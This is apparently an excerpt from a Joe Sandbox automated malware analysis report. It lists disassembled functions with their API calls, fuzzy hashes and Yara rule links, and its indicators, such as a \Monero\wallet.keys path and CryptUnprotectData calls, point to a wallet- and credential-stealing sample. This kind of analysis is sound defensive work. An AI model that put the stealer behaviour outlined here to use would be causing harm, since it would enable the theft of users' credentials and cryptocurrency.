Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: )Un_$6'_u$6'_u$b+&V$c/?z$mL~$S_
API String ID: 0-3782661490
Opcode ID: 862162499b65ff12fa11f6bba9b570a30e54f9b1a79280976502aaba0dde9fc2
Instruction ID: 88530306c03fc43edff8fd14afef610e57084c73f778e5c9d6ec5443bda39c41
Opcode Fuzzy Hash: 862162499b65ff12fa11f6bba9b570a30e54f9b1a79280976502aaba0dde9fc2
Instruction Fuzzy Hash: 3AB2F6F3A0C2149FE3047E2DEC8567ABBE5EF94720F1A493DEAC483744EA3558058697

Function 00F0E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

Part of subcall function 00F1A920: lstrcpy.KERNEL32(00000000,?), ref: 00F1A972
Part of subcall function 00F1A920: lstrcat.KERNEL32(00000000), ref: 00F1A982

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00F20D73), ref: 00F0E4A2
StrCmpCA.SHLWAPI(?,00F214F8), ref: 00F0E4F2
StrCmpCA.SHLWAPI(?,00F214FC), ref: 00F0E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00F0EBDF

Strings

\*.*, xrefs: 00F0E44D

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: c93b31d1f32c50a22130b1735ec8490a2d2481e690d8e5e37a35cb74f43a6e2a
Instruction ID: ba19c9de1a023abf7e1f43b814b4dc0a711d510d348756f5fd1703ec14d63e30
Opcode Fuzzy Hash: c93b31d1f32c50a22130b1735ec8490a2d2481e690d8e5e37a35cb74f43a6e2a
Instruction Fuzzy Hash: BD1262719011189BDB18FB60DD96EED7338AF54320F4045A9B50A960D1EF386FCAEF92

Function 012C8186 Relevance: 9.1, Strings: 6, Instructions: 1607COMMON

Download Yara Rule

Strings

>N;q, xrefs: 012C8C2C
\], xrefs: 012C8FE7
Y?w_, xrefs: 012C856E
b4=, xrefs: 012C8CF6
^\w_, xrefs: 012C8E04
37, xrefs: 012C8AE4

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: >N;q$Y?w_$\]$^\w_$b4=$37
API String ID: 0-2706271634
Opcode ID: f6818c804a72e3bd72c0a1c811763840df0911ce591a23df0dd7ead44da941a5
Instruction ID: 29a8e25a459cc171959b1900c697010c1f0e3d078ebb93d4d21cf0f6cfa8efbc
Opcode Fuzzy Hash: f6818c804a72e3bd72c0a1c811763840df0911ce591a23df0dd7ead44da941a5
Instruction Fuzzy Hash: 37B2E5F360C2049FE3046E29EC8577AFBE9EF94720F16492DE6C5C3744E63558418697

Function 00F0C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00F0C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00F0C87C
lstrcat.KERNEL32(?,00F20B46), ref: 00F0C943
lstrcat.KERNEL32(?,00F20B47), ref: 00F0C957
lstrcat.KERNEL32(?,00F20B4E), ref: 00F0C978

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 7c152d59647deec6683fc98d89a6cc81caca06b670377635d0d0e86296a5320c
Instruction ID: 9699dec8ea5e5c2c61284465e48d11350ecda291eb791e2a861b056e4554ecd5
Opcode Fuzzy Hash: 7c152d59647deec6683fc98d89a6cc81caca06b670377635d0d0e86296a5320c
Instruction Fuzzy Hash: D8417379D4421ADBDB20CF90ED89BEEBBB8BF44704F1042A8E509A7280D7705A84DF91

Function 00F07240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00F0724D
RtlAllocateHeap.NTDLL(00000000), ref: 00F07254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00F07281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00F072A4
LocalFree.KERNEL32(?), ref: 00F072AE

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 4770ef39b1c59df3af7ccdfa15d6dbdc913ee7b6ce6da139d705653c298c00a7
Instruction ID: 15b433b4176993f055b9e27844db866817c541d25c731f97ae1b829dd6ec76d4
Opcode Fuzzy Hash: 4770ef39b1c59df3af7ccdfa15d6dbdc913ee7b6ce6da139d705653c298c00a7
Instruction Fuzzy Hash: B10140B5A80208BBEB24DFD4DD45F9D77B8EB44B01F104054FB16AB2C4DA70BA409B64

Function 00F19600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00F1961E
Process32First.KERNEL32(00F20ACA,00000128), ref: 00F19632
Process32Next.KERNEL32(00F20ACA,00000128), ref: 00F19647
StrCmpCA.SHLWAPI(?,00000000), ref: 00F1965C
CloseHandle.KERNEL32(00F20ACA), ref: 00F1967A

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: cde7803f969f51dcba174a6c0f4e41b8c8bcb48391def157ab35b08346f3a538
Instruction ID: 62411d042578dff631b321df783c976612772d1d032f4507c7af40ad94c84a7c
Opcode Fuzzy Hash: cde7803f969f51dcba174a6c0f4e41b8c8bcb48391def157ab35b08346f3a538
Instruction Fuzzy Hash: FD0152B9A44208EBDB28DFA5D864BDDB7F8EF08711F004198A50697240D7749F80DFA0

Function 012BF1CC Relevance: 6.5, Strings: 5, Instructions: 274COMMON

Download Yara Rule

Strings

KSG, xrefs: 012BF27A
dUO7, xrefs: 012BF297
afK, xrefs: 012BF4AC
urY, xrefs: 012BF3E0
iO,, xrefs: 012BF3FD

Memory Dump Source

Source File: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID:
String ID: KSG$afK$dUO7$iO,$urY
API String ID: 0-1859660493
Opcode ID: c8a143a00feae3de83c6495ed61a71d78a0016aeee3f1da200b0dd56388c64a5
Instruction ID: 92b9d5714dd0ceb179c69af888f601d6ca6353255b68c048ebe94dda6d337c82
Opcode Fuzzy Hash: c8a143a00feae3de83c6495ed61a71d78a0016aeee3f1da200b0dd56388c64a5
Instruction Fuzzy Hash: C68160F3A0C308AFD3046E1DEC8163AF7DADB94660F1A063DEAC4C7344F93298048696

Function 00F18680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00F1A740: lstrcpy.KERNEL32(00F20E17,00000000), ref: 00F1A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00F205B7), ref: 00F186CA
Process32First.KERNEL32(?,00000128), ref: 00F186DE
Process32Next.KERNEL32(?,00000128), ref: 00F186F3

Part of subcall function 00F1A9B0: lstrlen.KERNEL32(?,008A9B00,?,\Monero\wallet.keys,00F20E17), ref: 00F1A9C5
Part of subcall function 00F1A9B0: lstrcpy.KERNEL32(00000000), ref: 00F1AA04
Part of subcall function 00F1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00F1AA12

Part of subcall function 00F1A8A0: lstrcpy.KERNEL32(?,00F20E17), ref: 00F1A905

CloseHandle.KERNEL32(?), ref: 00F18761

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 5ac5cea2cce2d58d630df5b956af9eb75f694a39e632ccfcfe7dc1e848ca27f9
Instruction ID: 4aa697447eb09126dbf7aa27cf96b33af8c2d0f4e21785d3c060956e8ecebe1b
Opcode Fuzzy Hash: 5ac5cea2cce2d58d630df5b956af9eb75f694a39e632ccfcfe7dc1e848ca27f9
Instruction Fuzzy Hash: 5F317C72902218ABCB24EF50DD51FEEB778EF44720F1041A9F10AA2190DF356E86DFA1

Function 00F18EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00F05184,40000001,00000000,00000000,?,00F05184), ref: 00F18EC0

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 01e828b5bca4817baa54ee9d393b9501ddda72a76d0ce9e6572a60a1d153bca9
Instruction ID: 91d321713486a518dae7d0b5714a61bcee45c74a330cff3834a01ad990bd88c0
Opcode Fuzzy Hash: 01e828b5bca4817baa54ee9d393b9501ddda72a76d0ce9e6572a60a1d153bca9
Instruction Fuzzy Hash: 1F111C75600205BFDB04CFA4E984FE733AAAF89750F109458F9198B244DB35EC82EB60

Function 00F09AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F04EEE,00000000,00000000), ref: 00F09AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00F04EEE,00000000,?), ref: 00F09B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00F04EEE,00000000,00000000), ref: 00F09B2A
LocalFree.KERNEL32(?,?,?,?,00F04EEE,00000000,?), ref: 00F09B3F

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 925389c3e39b03aa38c02eb128b4e546c01969607dd65b72f66e35795a70f528
Instruction ID: 59a19f140bfe54efd35fbb84295b23bc1bfbe34e17d08ebc51902e2c7ec9d68e
Opcode Fuzzy Hash: 925389c3e39b03aa38c02eb128b4e546c01969607dd65b72f66e35795a70f528
Instruction Fuzzy Hash: 8E11D7B8640208AFEB14CF54D855FAA77B5FB89B11F208058F9159B3C4C7B2A941DB50

Function 00F17980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00F20E00,00000000,?), ref: 00F179B0
RtlAllocateHeap.NTDLL(00000000), ref: 00F179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00F20E00,00000000,?), ref: 00F179C4
wsprintfA.USER32 ref: 00F179F3

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091685201.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091795318.0000000001579000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091809845.000000000157A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f00000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 71d702c7a69ef99fc09994f886efefb7339fa31c1e01233cad3a235d7aaf6062
Instruction ID: d9b8dbbb68e5900abf281cd8e3257b22c5399413321765642d05b0198a6d4a11
Opcode Fuzzy Hash: 71d702c7a69ef99fc09994f886efefb7339fa31c1e01233cad3a235d7aaf6062
Instruction Fuzzy Hash: C3117CB2944118ABDB18DFC9E944BBEB7F8FB4CB12F00411AF616A2284D3385980C7B0

Function 00F17A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,008AEA98,00000000,?,00F20E10,00000000,?,00000000,00000000), ref: 00F17A63
RtlAllocateHeap.NTDLL(00000000), ref: 00F17A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,008AEA98,00000000,?,00F20E10,00000000,?,00000000,00000000,?), ref: 00F17A7D
wsprintfA.USER32 ref: 00F17AB7

Memory Dump Source

Source File: 00000000.00000002.2091263076.0000000000F01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F00000, based on PE: true

Associated: 00000000.00000002.2091239464.0000000000F00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.0000000000FE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091263076.000000000114A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.000000000115E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091443087.00000000012DB000.00000040.00000001.01000000.00000003.sdmpDownload File
